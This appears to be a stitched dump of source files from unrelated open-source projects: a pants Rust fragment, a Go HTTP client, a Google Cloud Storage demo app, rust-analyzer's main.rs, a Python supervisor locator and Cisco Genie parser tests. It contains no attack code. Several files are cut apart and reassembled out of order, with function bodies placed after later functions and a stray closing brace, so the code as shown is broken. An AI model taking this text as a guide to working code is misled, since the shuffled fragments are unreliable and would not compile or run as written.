[https://github.com/pantsbuild/pants/issues/new]", e); subprocess.kill().map_err(|e| format!("Failed to interrupt child process: {}", e)).await?; }; subprocess.wait().await.map_err(|e| e.to_string()) } exit_status = subprocess.wait() => { // The process exited. exit_status.map_err(|e| e.to_string()) } } }) .await?; let code = exit_status.code().unwrap_or(-1); let result = { let gil = Python::acquire_gil(); let py = gil.python(); externs::unsafe_call( py, interactive_process_result, &[externs::store_i64(py, i64::from(code))], ) }; Ok(result) }.boxed() }
digest_subset_to_digest
client.go
/* * Tencent is pleased to support the open source community by making 蓝鲸 available. * Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved. * Licensed under the MIT License (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * http://opensource.org/licenses/MIT * Unless required by applicable law or agreed to in writing, software distributed under * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, * either express or implied. See the License for the specific language governing permissions and * limitations under the License. */ package httpclient import ( "bytes" "configcenter/src/common/ssl" "context" "crypto/tls" "io/ioutil" "net" "net/http" "time" ) type HttpClient struct { caFile string certFile string keyFile string header map[string]string httpCli *http.Client } func NewHttpClient() *HttpClient { return &HttpClient{ httpCli: &http.Client{}, header: make(map[string]string), } } func (client *HttpClient) GetClient() *http.Client { return client.httpCli } func (client *HttpClient) SetTlsNoVerity() error { tlsConf := ssl.ClientTslConfNoVerity() trans := client.NewTransPort() trans.TLSClientConfig = tlsConf client.httpCli.Transport = trans return nil } func (client *HttpClient) SetTlsVerityServer(caFile string) error { client.caFile = caFile // load ca cert tlsConf, err := ssl.ClientTslConfVerityServer(caFile) if err != nil { return err } client.SetTlsVerityConfig(tlsConf) return nil } func (client *HttpClient) SetTlsVerity(caFile, certFile, keyFile, passwd string) error { client.caFile = caFile client.certFile = certFile client.keyFile = keyFile // load cert tlsConf, err := ssl.ClientTslConfVerity(caFile, certFile, keyFile, passwd) if err != nil { return err } client.SetTlsVerityConfig(tlsConf) return nil } func (client *HttpClient) SetTlsVerityConfig(tlsConf *tls.Config) { trans := client.NewTransPort() trans.TLSClientConfig = tlsConf client.httpCli.Transport = trans } func (client *HttpClient) NewTransPort() *http.Transport { return &http.Transport{ TLSHandshakeTimeout: 5 * time.Second, Dial: (&net.Dialer{ Timeout: 5 * time.Second, KeepAlive: 30 * time.Second, }).Dial, ResponseHeaderTimeout: 30 * time.Second, } } func (client *HttpClient) SetTimeOut(timeOut time.Duration) { client.httpCli.Timeout = timeOut } func (client *HttpClient) SetHeader(key, value string) { client.header[key] = value
func (client *HttpClient) GET(url string, header http.Header, data []byte) ([]byte, error) { return client.Request(url, "GET", header, data) } func (client *HttpClient) POST(url string, header http.Header, data []byte) ([]byte, error) { return client.Request(url, "POST", header, data) } func (client *HttpClient) DELETE(url string, header http.Header, data []byte) ([]byte, error) { return client.Request(url, "DELETE", header, data) } func (client *HttpClient) PUT(url string, header http.Header, data []byte) ([]byte, error) { return client.Request(url, "PUT", header, data) } func (client *HttpClient) GETEx(url string, header http.Header, data []byte) (int, []byte, error) { return client.RequestEx(url, "GET", header, data) } func (client *HttpClient) POSTEx(url string, header http.Header, data []byte) (int, []byte, error) { return client.RequestEx(url, "POST", header, data) } func (client *HttpClient) DELETEEx(url string, header http.Header, data []byte) (int, []byte, error) { return client.RequestEx(url, "DELETE", header, data) } func (client *HttpClient) PUTEx(url string, header http.Header, data []byte) (int, []byte, error) { return client.RequestEx(url, "PUT", header, data) } func (client *HttpClient) Request(url, method string, header http.Header, data []byte) ([]byte, error) { var req *http.Request var errReq error if data != nil { req, errReq = http.NewRequest(method, url, bytes.NewReader(data)) } else { req, errReq = http.NewRequest(method, url, nil) } if errReq != nil { return nil, errReq } req.Close = true if header != nil { req.Header = header } for key, value := range client.header { req.Header.Set(key, value) } rsp, err := client.httpCli.Do(req) if err != nil { return nil, err } /*if rsp.StatusCode >= http.StatusBadRequest { return 0, nil, fmt.Errorf("statuscode:%d, status:%s", rsp.StatusCode, rsp.Status) }*/ defer rsp.Body.Close() body, err := ioutil.ReadAll(rsp.Body) return body, err } func (client *HttpClient) RequestEx(url, method string, header http.Header, data []byte) (int, []byte, error) { var req *http.Request var errReq error if data != nil { req, errReq = http.NewRequest(method, url, bytes.NewReader(data)) } else { req, errReq = http.NewRequest(method, url, nil) } if errReq != nil { return 0, nil, errReq } req.Close = true if header != nil { req.Header = header } for key, value := range client.header { req.Header.Set(key, value) } rsp, err := client.httpCli.Do(req) if err != nil { return 0, nil, err } defer rsp.Body.Close() body, err := ioutil.ReadAll(rsp.Body) return rsp.StatusCode, body, err } func (client *HttpClient) DoWithTimeout(timeout time.Duration, req *http.Request) (*http.Response, error) { ctx, cancel := context.WithTimeout(req.Context(), timeout) defer cancel() req = req.WithContext(ctx) return client.httpCli.Do(req) }
}
app.go
// Copyright 2014 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package main is an example Mananged VM app using the Google Cloud Storage API. package main //[START imports] import ( "bytes" "fmt" "io" "io/ioutil" "net/http" "strings" "golang.org/x/net/context" "google.golang.org/appengine" "google.golang.org/appengine/file" "google.golang.org/appengine/log" "google.golang.org/cloud/storage" ) //[END imports] // bucket is a local cache of the app's default bucket name. var bucket string // or: var bucket = "<your-app-id>.appspot.com" func main() { http.HandleFunc("/", handler) appengine.Main() } //[START bucket_struct] // demo struct holds information needed to run the various demo functions. type demo struct { bucket *storage.BucketHandle client *storage.Client w http.ResponseWriter ctx context.Context // cleanUp is a list of filenames that need cleaning up at the end of the demo. cleanUp []string // failed indicates that one or more of the demo steps failed. failed bool } //[END bucket_struct] func (d *demo) errorf(format string, args ...interface{}) { d.failed = true log.Errorf(d.ctx, format, args...) } // handler is the main demo entry point that calls the GCS operations. func handler(w http.ResponseWriter, r *http.Request) { if r.URL.Path != "/" { http.NotFound(w, r) return } ctx := appengine.NewContext(r) if bucket == "" { var err error if bucket, err = file.DefaultBucketName(ctx); err != nil { log.Errorf(ctx, "failed to get default GCS bucket name: %v", err) return } } client, err := storage.NewClient(ctx) if err != nil { log.Errorf(ctx, "failed to get default GCS bucket name: %v", err) return } defer client.Close() w.Header().Set("Content-Type", "text/plain; charset=utf-8") fmt.Fprintf(w, "Demo GCS Application running from Version: %v\n", appengine.VersionID(ctx)) fmt.Fprintf(w, "Using bucket name: %v\n\n", bucket) d := &demo{ w: w, ctx: ctx, client: client, bucket: client.Bucket(bucket), } n := "demo-testfile-go" d.createFile(n) d.readFile(n) d.copyFile(n) d.statFile(n) d.createListFiles() d.listBucket() d.listBucketDirMode() d.defaultACL() d.putDefaultACLRule() d.deleteDefaultACLRule() d.bucketACL() d.putBucketACLRule() d.deleteBucketACLRule() d.acl(n) d.putACLRule(n) d.deleteACLRule(n) d.deleteFiles() if d.failed { io.WriteString(w, "\nDemo failed.\n") } else { io.WriteString(w, "\nDemo succeeded.\n") } } //[START write] // createFile creates a file in Google Cloud Storage. func (d *demo) createFile(fileName string) { fmt.Fprintf(d.w, "Creating file /%v/%v\n", bucket, fileName) wc := d.bucket.Object(fileName).NewWriter(d.ctx) wc.ContentType = "text/plain" wc.Metadata = map[string]string{ "x-goog-meta-foo": "foo", "x-goog-meta-bar": "bar", } d.cleanUp = append(d.cleanUp, fileName) if _, err := wc.Write([]byte("abcde\n")); err != nil {
if _, err := wc.Write([]byte(strings.Repeat("f", 1024*4) + "\n")); err != nil { d.errorf("createFile: unable to write data to bucket %q, file %q: %v", bucket, fileName, err) return } if err := wc.Close(); err != nil { d.errorf("createFile: unable to close bucket %q, file %q: %v", bucket, fileName, err) return } } //[END write] //[START read] // readFile reads the named file in Google Cloud Storage. func (d *demo) readFile(fileName string) { io.WriteString(d.w, "\nAbbreviated file content (first line and last 1K):\n") rc, err := d.bucket.Object(fileName).NewReader(d.ctx) if err != nil { d.errorf("readFile: unable to open file from bucket %q, file %q: %v", bucket, fileName, err) return } defer rc.Close() slurp, err := ioutil.ReadAll(rc) if err != nil { d.errorf("readFile: unable to read data from bucket %q, file %q: %v", bucket, fileName, err) return } fmt.Fprintf(d.w, "%s\n", bytes.SplitN(slurp, []byte("\n"), 2)[0]) if len(slurp) > 1024 { fmt.Fprintf(d.w, "...%s\n", slurp[len(slurp)-1024:]) } else { fmt.Fprintf(d.w, "%s\n", slurp) } } //[END read] //[START copy] // copyFile copies a file in Google Cloud Storage. func (d *demo) copyFile(fileName string) { copyName := fileName + "-copy" fmt.Fprintf(d.w, "Copying file /%v/%v to /%v/%v:\n", bucket, fileName, bucket, copyName) obj, err := d.bucket.Object(fileName).CopyTo(d.ctx, d.bucket.Object(copyName), nil) if err != nil { d.errorf("copyFile: unable to copy /%v/%v to bucket %q, file %q: %v", bucket, fileName, bucket, copyName, err) return } d.cleanUp = append(d.cleanUp, copyName) d.dumpStats(obj) } //[END copy] func (d *demo) dumpStats(obj *storage.ObjectAttrs) { fmt.Fprintf(d.w, "(filename: /%v/%v, ", obj.Bucket, obj.Name) fmt.Fprintf(d.w, "ContentType: %q, ", obj.ContentType) fmt.Fprintf(d.w, "ACL: %#v, ", obj.ACL) fmt.Fprintf(d.w, "Owner: %v, ", obj.Owner) fmt.Fprintf(d.w, "ContentEncoding: %q, ", obj.ContentEncoding) fmt.Fprintf(d.w, "Size: %v, ", obj.Size) fmt.Fprintf(d.w, "MD5: %q, ", obj.MD5) fmt.Fprintf(d.w, "CRC32C: %q, ", obj.CRC32C) fmt.Fprintf(d.w, "Metadata: %#v, ", obj.Metadata) fmt.Fprintf(d.w, "MediaLink: %q, ", obj.MediaLink) fmt.Fprintf(d.w, "StorageClass: %q, ", obj.StorageClass) if !obj.Deleted.IsZero() { fmt.Fprintf(d.w, "Deleted: %v, ", obj.Deleted) } fmt.Fprintf(d.w, "Updated: %v)\n", obj.Updated) } //[START file_metadata] // statFile reads the stats of the named file in Google Cloud Storage. func (d *demo) statFile(fileName string) { io.WriteString(d.w, "\nFile stat:\n") obj, err := d.bucket.Object(fileName).Attrs(d.ctx) if err != nil { d.errorf("statFile: unable to stat file from bucket %q, file %q: %v", bucket, fileName, err) return } d.dumpStats(obj) } //[END file_metadata] // createListFiles creates files that will be used by listBucket. func (d *demo) createListFiles() { io.WriteString(d.w, "\nCreating more files for listbucket...\n") for _, n := range []string{"foo1", "foo2", "bar", "bar/1", "bar/2", "boo/"} { d.createFile(n) } } //[START list_bucket] // listBucket lists the contents of a bucket in Google Cloud Storage. func (d *demo) listBucket() { io.WriteString(d.w, "\nListbucket result:\n") query := &storage.Query{Prefix: "foo"} for query != nil { objs, err := d.bucket.List(d.ctx, query) if err != nil { d.errorf("listBucket: unable to list bucket %q: %v", bucket, err) return } query = objs.Next for _, obj := range objs.Results { d.dumpStats(obj) } } } //[END list_bucket] func (d *demo) listDir(name, indent string) { query := &storage.Query{Prefix: name, Delimiter: "/"} for query != nil { objs, err := d.bucket.List(d.ctx, query) if err != nil { d.errorf("listBucketDirMode: unable to list bucket %q: %v", bucket, err) return } query = objs.Next for _, obj := range objs.Results { fmt.Fprint(d.w, indent) d.dumpStats(obj) } for _, dir := range objs.Prefixes { fmt.Fprintf(d.w, "%v(directory: /%v/%v)\n", indent, bucket, dir) d.listDir(dir, indent+" ") } } } // listBucketDirMode lists the contents of a bucket in dir mode in Google Cloud Storage. func (d *demo) listBucketDirMode() { io.WriteString(d.w, "\nListbucket directory mode result:\n") d.listDir("b", "") } // dumpDefaultACL prints out the default object ACL for this bucket. func (d *demo) dumpDefaultACL() { acl, err := d.bucket.ACL().List(d.ctx) if err != nil { d.errorf("defaultACL: unable to list default object ACL for bucket %q: %v", bucket, err) return } for _, v := range acl { fmt.Fprintf(d.w, "Scope: %q, Permission: %q\n", v.Entity, v.Role) } } // defaultACL displays the default object ACL for this bucket. func (d *demo) defaultACL() { io.WriteString(d.w, "\nDefault object ACL:\n") d.dumpDefaultACL() } // putDefaultACLRule adds the "allUsers" default object ACL rule for this bucket. func (d *demo) putDefaultACLRule() { io.WriteString(d.w, "\nPut Default object ACL Rule:\n") err := d.bucket.DefaultObjectACL().Set(d.ctx, storage.AllUsers, storage.RoleReader) if err != nil { d.errorf("putDefaultACLRule: unable to save default object ACL rule for bucket %q: %v", bucket, err) return } d.dumpDefaultACL() } // deleteDefaultACLRule deleted the "allUsers" default object ACL rule for this bucket. func (d *demo) deleteDefaultACLRule() { io.WriteString(d.w, "\nDelete Default object ACL Rule:\n") err := d.bucket.DefaultObjectACL().Delete(d.ctx, storage.AllUsers) if err != nil { d.errorf("deleteDefaultACLRule: unable to delete default object ACL rule for bucket %q: %v", bucket, err) return } d.dumpDefaultACL() } // dumpBucketACL prints out the bucket ACL. func (d *demo) dumpBucketACL() { acl, err := d.bucket.ACL().List(d.ctx) if err != nil { d.errorf("dumpBucketACL: unable to list bucket ACL for bucket %q: %v", bucket, err) return } for _, v := range acl { fmt.Fprintf(d.w, "Scope: %q, Permission: %q\n", v.Entity, v.Role) } } // bucketACL displays the bucket ACL for this bucket. func (d *demo) bucketACL() { io.WriteString(d.w, "\nBucket ACL:\n") d.dumpBucketACL() } // putBucketACLRule adds the "allUsers" bucket ACL rule for this bucket. func (d *demo) putBucketACLRule() { io.WriteString(d.w, "\nPut Bucket ACL Rule:\n") err := d.bucket.ACL().Set(d.ctx, storage.AllUsers, storage.RoleReader) if err != nil { d.errorf("putBucketACLRule: unable to save bucket ACL rule for bucket %q: %v", bucket, err) return } d.dumpBucketACL() } // deleteBucketACLRule deleted the "allUsers" bucket ACL rule for this bucket. func (d *demo) deleteBucketACLRule() { io.WriteString(d.w, "\nDelete Bucket ACL Rule:\n") err := d.bucket.ACL().Delete(d.ctx, storage.AllUsers) if err != nil { d.errorf("deleteBucketACLRule: unable to delete bucket ACL rule for bucket %q: %v", bucket, err) return } d.dumpBucketACL() } // dumpACL prints out the ACL of the named file. func (d *demo) dumpACL(fileName string) { acl, err := d.bucket.Object(fileName).ACL().List(d.ctx) if err != nil { d.errorf("dumpACL: unable to list file ACL for bucket %q, file %q: %v", bucket, fileName, err) return } for _, v := range acl { fmt.Fprintf(d.w, "Scope: %q, Permission: %q\n", v.Entity, v.Role) } } // acl displays the ACL for the named file. func (d *demo) acl(fileName string) { fmt.Fprintf(d.w, "\nACL for file %v:\n", fileName) d.dumpACL(fileName) } // putACLRule adds the "allUsers" ACL rule for the named file. func (d *demo) putACLRule(fileName string) { fmt.Fprintf(d.w, "\nPut ACL rule for file %v:\n", fileName) err := d.bucket.Object(fileName).ACL().Set(d.ctx, storage.AllUsers, storage.RoleReader) if err != nil { d.errorf("putACLRule: unable to save ACL rule for bucket %q, file %q: %v", bucket, fileName, err) return } d.dumpACL(fileName) } // deleteACLRule deleted the "allUsers" ACL rule for the named file. func (d *demo) deleteACLRule(fileName string) { fmt.Fprintf(d.w, "\nDelete ACL rule for file %v:\n", fileName) err := d.bucket.Object(fileName).ACL().Delete(d.ctx, storage.AllUsers) if err != nil { d.errorf("deleteACLRule: unable to delete ACL rule for bucket %q, file %q: %v", bucket, fileName, err) return } d.dumpACL(fileName) } //[START delete] // deleteFiles deletes all the temporary files from a bucket created by this demo. func (d *demo) deleteFiles() { io.WriteString(d.w, "\nDeleting files...\n") for _, v := range d.cleanUp { fmt.Fprintf(d.w, "Deleting file %v\n", v) if err := d.bucket.Object(v).Delete(d.ctx); err != nil { d.errorf("deleteFiles: unable to delete bucket %q, file %q: %v", bucket, v, err) return } } } //[END delete]
d.errorf("createFile: unable to write data to bucket %q, file %q: %v", bucket, fileName, err) return }
main.rs
//! Driver for rust-analyzer. //! //! Based on cli flags, either spawns an LSP server, or runs a batch analysis mod logger; mod rustc_wrapper; use std::{convert::TryFrom, env, fs, path::Path, process}; use lsp_server::Connection; use project_model::ProjectManifest; use rust_analyzer::{cli::flags, config::Config, from_json, lsp_ext::supports_utf8, Result}; use vfs::AbsPathBuf; #[cfg(all(feature = "mimalloc"))] #[global_allocator] static ALLOC: mimalloc::MiMalloc = mimalloc::MiMalloc; #[cfg(all(feature = "jemalloc", not(target_env = "msvc")))] #[global_allocator] static ALLOC: jemallocator::Jemalloc = jemallocator::Jemalloc; fn main() { if std::env::var("RA_RUSTC_WRAPPER").is_ok() { let mut args = std::env::args_os(); let _me = args.next().unwrap(); let rustc = args.next().unwrap(); let code = match rustc_wrapper::run_rustc_skipping_cargo_checking(rustc, args.collect()) { Ok(rustc_wrapper::ExitCode(code)) => code.unwrap_or(102), Err(err) => { eprintln!("{}", err); 101 } }; process::exit(code); } if let Err(err) = try_main() { tracing::error!("Unexpected error: {}", err); eprintln!("{}", err); process::exit(101); } } fn try_main() -> Result<()>
fn setup_logging(log_file: Option<&Path>) -> Result<()> { env::set_var("RUST_BACKTRACE", "short"); let log_file = match log_file { Some(path) => { if let Some(parent) = path.parent() { let _ = fs::create_dir_all(parent); } Some(fs::File::create(path)?) } None => None, }; let filter = env::var("RA_LOG").ok(); logger::Logger::new(log_file, filter.as_deref()).install()?; profile::init(); Ok(()) } fn run_server() -> Result<()> { tracing::info!("server version {} will start", env!("REV")); let (connection, io_threads) = Connection::stdio(); let (initialize_id, initialize_params) = connection.initialize_start()?; tracing::info!("InitializeParams: {}", initialize_params); let initialize_params = from_json::<lsp_types::InitializeParams>("InitializeParams", initialize_params)?; let root_path = match initialize_params .root_uri .and_then(|it| it.to_file_path().ok()) .and_then(|it| AbsPathBuf::try_from(it).ok()) { Some(it) => it, None => { let cwd = env::current_dir()?; AbsPathBuf::assert(cwd) } }; let mut config = Config::new(root_path, initialize_params.capabilities); if let Some(json) = initialize_params.initialization_options { config.update(json); } let server_capabilities = rust_analyzer::server_capabilities(&config); let initialize_result = lsp_types::InitializeResult { capabilities: server_capabilities, server_info: Some(lsp_types::ServerInfo { name: String::from("rust-analyzer"), version: Some(String::from(env!("REV"))), }), offset_encoding: if supports_utf8(&config.caps) { Some("utf-8".to_string()) } else { None }, }; let initialize_result = serde_json::to_value(initialize_result).unwrap(); connection.initialize_finish(initialize_id, initialize_result)?; if let Some(client_info) = initialize_params.client_info { tracing::info!("Client '{}' {}", client_info.name, client_info.version.unwrap_or_default()); } if config.linked_projects().is_empty() && config.detached_files().is_empty() { let workspace_roots = initialize_params .workspace_folders .map(|workspaces| { workspaces .into_iter() .filter_map(|it| it.uri.to_file_path().ok()) .filter_map(|it| AbsPathBuf::try_from(it).ok()) .collect::<Vec<_>>() }) .filter(|workspaces| !workspaces.is_empty()) .unwrap_or_else(|| vec![config.root_path.clone()]); let discovered = ProjectManifest::discover_all(&workspace_roots); tracing::info!("discovered projects: {:?}", discovered); if discovered.is_empty() { tracing::error!("failed to find any projects in {:?}", workspace_roots); } config.discovered_projects = Some(discovered); } rust_analyzer::main_loop(config, connection)?; io_threads.join()?; tracing::info!("server did shut down"); Ok(()) }
{ let flags = flags::RustAnalyzer::from_env()?; #[cfg(debug_assertions)] if flags.wait_dbg || env::var("RA_WAIT_DBG").is_ok() { #[allow(unused_mut)] let mut d = 4; while d == 4 { d = 4; } } let mut log_file = flags.log_file.as_deref(); let env_log_file = env::var("RA_LOG_FILE").ok(); if let Some(env_log_file) = env_log_file.as_deref() { log_file = Some(Path::new(env_log_file)); } setup_logging(log_file)?; let verbosity = flags.verbosity(); match flags.subcommand { flags::RustAnalyzerCmd::LspServer(cmd) => { if cmd.print_config_schema { println!("{:#}", Config::json_schema()); return Ok(()); } if cmd.version { println!("rust-analyzer {}", env!("REV")); return Ok(()); } if cmd.help { println!("{}", flags::RustAnalyzer::HELP); return Ok(()); } run_server()? } flags::RustAnalyzerCmd::ProcMacro(flags::ProcMacro) => proc_macro_srv::cli::run()?, flags::RustAnalyzerCmd::Parse(cmd) => cmd.run()?, flags::RustAnalyzerCmd::Symbols(cmd) => cmd.run()?, flags::RustAnalyzerCmd::Highlight(cmd) => cmd.run()?, flags::RustAnalyzerCmd::AnalysisStats(cmd) => cmd.run(verbosity)?, flags::RustAnalyzerCmd::Diagnostics(cmd) => cmd.run()?, flags::RustAnalyzerCmd::Ssr(cmd) => cmd.run()?, flags::RustAnalyzerCmd::Search(cmd) => cmd.run()?, } Ok(()) }
locator.py
# Copyright 1999-2021 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging from typing import List from .... import oscar as mo from ..core import NodeRole, NodeStatus from ..locator import SupervisorLocatorActor logger = logging.getLogger(__name__) class WorkerSupervisorLocatorActor(SupervisorLocatorActor): _node_role = NodeRole.WORKER def __init__(self, *args, **kwargs):
@classmethod def default_uid(cls): return SupervisorLocatorActor.__name__ async def _set_supervisors(self, supervisors: List[str]): await super()._set_supervisors(supervisors) if supervisors and self._node_info_ref is None: from ..supervisor.node_info import NodeInfoCollectorActor supervisor_addr = self.get_supervisor( NodeInfoCollectorActor.default_uid()) try: self._node_info_ref = await mo.actor_ref( uid=NodeInfoCollectorActor.default_uid(), address=supervisor_addr ) except (OSError, mo.ServerClosed, mo.ActorNotExist): self._node_info_ref = None async def _get_supervisors_from_backend(self, filter_ready: bool = True): try: assert self._node_info_ref is not None statuses = {NodeStatus.READY} if filter_ready \ else {NodeStatus.READY, NodeStatus.STARTING} infos = await self._node_info_ref.get_nodes_info( role=NodeRole.SUPERVISOR, statuses=statuses) return list(infos) except (AssertionError, OSError, mo.ServerClosed, mo.ActorNotExist): self._node_info_ref = None return await self._backend.get_supervisors(filter_ready=filter_ready) async def _watch_supervisor_from_node_info(self): assert self._node_info_ref is not None version = None while True: version, infos = await self._node_info_ref.watch_nodes( role=NodeRole.SUPERVISOR, version=version) yield list(infos) async def _watch_supervisors_from_backend(self): while True: try: async for supervisors in self._watch_supervisor_from_node_info(): yield supervisors except (AssertionError, OSError, mo.ServerClosed, mo.ActorNotExist): self._node_info_ref = None async for supervisors in self._backend.watch_supervisors(): yield supervisors if self._node_info_ref is not None: break
super().__init__(*args, **kwargs) self._node_info_ref = None
test_show_interface.py
#!/bin/env python import sys import unittest from unittest.mock import Mock from unittest.mock import patch from textwrap import dedent ats_mock = Mock() with patch.dict('sys.modules', {'ats' : ats_mock}, autospec=True): import genie.parsergen from genie.parsergen import oper_fill from genie.parsergen import oper_check from genie.parsergen import oper_fill_tabular from genie.parsergen.examples.parsergen.pyAts import parsergen_demo_mkpg import xml.etree.ElementTree as ET from ats.topology import Device from genie.metaparser.util.exceptions import SchemaEmptyParserError from genie.libs.parser.iosxe.show_interface import ShowInterfacesSwitchport,\ ShowIpInterfaceBriefPipeVlan,\ ShowInterfaces, ShowIpInterface,\ ShowIpv6Interface, \ ShowInterfacesTrunk, \ ShowInterfacesCounters, \ ShowInterfacesAccounting, \ ShowIpInterfaceBriefPipeIp class test_show_interface_parsergen(unittest.TestCase): def test_tabular_parser(self): self.showCommandOutput=''' R1#show ip interface brief Interface IP-Address OK? Method Status Protocol GigabitEthernet0/0 10.1.10.20 YES NVRAM up up GigabitEthernet1/0/1 unassigned YES unset up up GigabitEthernet1/0/10 unassigned YES unset down down ''' self.outputDict = {'GigabitEthernet0/0': {'IP-Address': '10.1.10.20', 'Interface': 'GigabitEthernet0/0', 'Method': 'NVRAM', 'OK?': 'YES', 'Protocol': 'up', 'Status': 'up'}, 'GigabitEthernet1/0/1': {'IP-Address': 'unassigned', 'Interface': 'GigabitEthernet1/0/1', 'Method': 'unset', 'OK?': 'YES', 'Protocol': 'up', 'Status': 'up'}, 'GigabitEthernet1/0/10': {'IP-Address': 'unassigned', 'Interface': 'GigabitEthernet1/0/10', 'Method': 'unset', 'OK?': 'YES', 'Protocol': 'down', 'Status': 'down'}} # Define how device stub will behave when accessed by production parser. device_kwargs = {'is_connected.return_value':True, 'execute.return_value':dedent(self.showCommandOutput)} device1 = Mock(**device_kwargs) device1.name='router3' result = genie.parsergen.oper_fill_tabular(device=device1, show_command="show ip interface brief", refresh_cache=True, header_fields= [ "Interface", "IP-Address", "OK\?", "Method", "Status", "Protocol" ], label_fields= [ "Interface", "IP-Address", "OK?", "Method", "Status", "Protocol" ], index=[0]) self.assertEqual(result.entries, self.outputDict) args, kwargs = device1.execute.call_args self.assertTrue('show ip interface brief' in args, msg='The expected command was not sent to the router') ############################################################################# # unitest For Show Interfaces switchport ############################################################################# class test_show_ip_interfaces_brief_pipe_ip(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = {'interface': {'GigabitEthernet0/0': {'interface_ok': 'YES', 'interface_status': 'up', 'ip_address': '10.1.18.80', 'method': 'manual', 'protocol_status': 'up'}}} golden_output = {'execute.return_value': ''' R1#sh ip int brief | i 10.1.18.80 GigabitEthernet0/0 10.1.18.80 YES manual up up '''} def test_golden(self): self.device = Mock(**self.golden_output) obj = ShowIpInterfaceBriefPipeIp(device=self.device) parsed_output = obj.parse(ip='10.1.18.80') self.assertEqual(parsed_output,self.golden_parsed_output) def test_empty(self): self.device1 = Mock(**self.empty_output) obj = ShowIpInterfaceBriefPipeIp(device=self.device1) with self.assertRaises(SchemaEmptyParserError): parsed_output = obj.parse(ip='10.1.18.80') # Comment out due to old version of yang, will enhance it # class test_show_interface_brief_pipe_vlan_yang(unittest.TestCase): # device = Device(name='aDevice') # device1 = Device(name='bDevice') # golden_parsed_output = {'interface': {'Vlan1': {'vlan_id': {'1': {'ip_address': 'unassigned'}}}, # 'Vlan100': {'vlan_id': {'100': {'ip_address': '201.0.12.1'}}}}} # class etree_holder(): # def __init__(self): # self.data = ET.fromstring(''' # <data> # <native xmlns="http://cisco.com/ns/yang/ned/ios"> # <interface> # <Vlan> # <name>1</name> # <ip> # <no-address> # <address>false</address> # </no-address> # </ip> # <shutdown/> # </Vlan> # <Vlan> # <name>100</name> # <ip> # <address> # <primary> # <address>201.0.12.1</address> # <mask>255.255.255.0</mask> # </primary> # </address> # </ip> # <ipv6> # <address> # <prefix-list> # <prefix>2001::12:30/128</prefix> # </prefix-list> # </address> # </ipv6> # </Vlan> # </interface> # </native> # </data> # ''') # golden_output = {'get.return_value': etree_holder()} # def test_golden(self): # self.device = Mock(**self.golden_output) # intf_obj = ShowIpInterfaceBriefPipeVlan(device=self.device) # intf_obj.context = Context.yang.value # parsed_output = intf_obj.parse() # self.assertEqual(parsed_output,self.golden_parsed_output) # empty_parsed_output = {'interface': {}} # class empty_etree_holder(): # def __init__(self): # self.data = ET.fromstring(''' # <data> # <native xmlns="http://cisco.com/ns/yang/ned/ios"> # <interface> # <Vlan> # </Vlan> # </interface> # </native> # </data> # ''') # empty_output = {'get.return_value': empty_etree_holder()} # def test_empty(self): # self.device1 = Mock(**self.empty_output) # intf_obj = ShowIpInterfaceBriefPipeVlan(device=self.device1) # intf_obj.context = Context.yang.value # parsed_output = intf_obj.parse() # self.assertEqual(parsed_output,self.empty_parsed_output) ############################################################################# # unitest For Show Interfaces switchport ############################################################################# class test_show_interfaces_switchport(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = { "GigabitEthernet1/0/4": { "switchport_mode": "trunk", "pruning_vlans": "2-1001", 'operational_mode': 'trunk', "switchport_enable": True, "trunk_vlans": "200-211", "capture_mode": False, "private_vlan": { "native_vlan_tagging": True, "encapsulation": "dot1q" }, "access_vlan": "1", "unknown_unicast_blocked": False, "native_vlan_tagging": True, "unknown_multicast_blocked": False, "protected": False, "negotiation_of_trunk": True, "capture_vlans": "all", "encapsulation": { "operational_encapsulation": "dot1q", "native_vlan": "1", "administrative_encapsulation": "dot1q" } }, "GigabitEthernet1/0/2": { "pruning_vlans": "2-1001", "switchport_enable": True, "unknown_multicast_blocked": False, "trunk_vlans": "100-110", "port_channel": { "port_channel_int": "Port-channel12", "port_channel_member": True }, "access_vlan": "1", "operational_mode": "trunk", "unknown_unicast_blocked": False, "capture_mode": False, "private_vlan": { "native_vlan_tagging": True, "encapsulation": "dot1q", "operational": "10 (VLAN0010) 100 (VLAN0100)", "trunk_mappings": "10 (VLAN0010) 100 (VLAN0100)" }, "encapsulation": { "operational_encapsulation": "dot1q", "native_vlan": "1", "administrative_encapsulation": "dot1q" }, "protected": False, "native_vlan_tagging": True, "negotiation_of_trunk": True, "capture_vlans": "all", "switchport_mode": "trunk" }, "GigabitEthernet1/0/5": { "switchport_mode": "static access", "pruning_vlans": "2-1001", "switchport_enable": True, "trunk_vlans": "all", 'operational_mode': 'down', "capture_mode": False, "private_vlan": { "native_vlan_tagging": True, "encapsulation": "dot1q" }, "access_vlan": "1", "unknown_unicast_blocked": False, "native_vlan_tagging": True, "unknown_multicast_blocked": False, "protected": False, "negotiation_of_trunk": False, "capture_vlans": "all", "encapsulation": { "native_vlan": "1", "administrative_encapsulation": "dot1q" } }, "Port-channel12": { "switchport_enable": True, "private_vlan": { "encapsulation": "dot1q", "native_vlan_tagging": True }, "native_vlan_tagging": False, "negotiation_of_trunk": True, "unknown_unicast_blocked": False, "protected": False, "encapsulation": { "administrative_encapsulation": "dot1q", "native_vlan": "0" }, "switchport_mode": "trunk", "unknown_multicast_blocked": False, "trunk_vlans": "100-110", "operational_mode": "down", "pruning_vlans": "2-1001", "port_channel": { "port_channel_member": True, "port_channel_member_intfs": [ "GigabitEthernet1/0/2" ] } } } 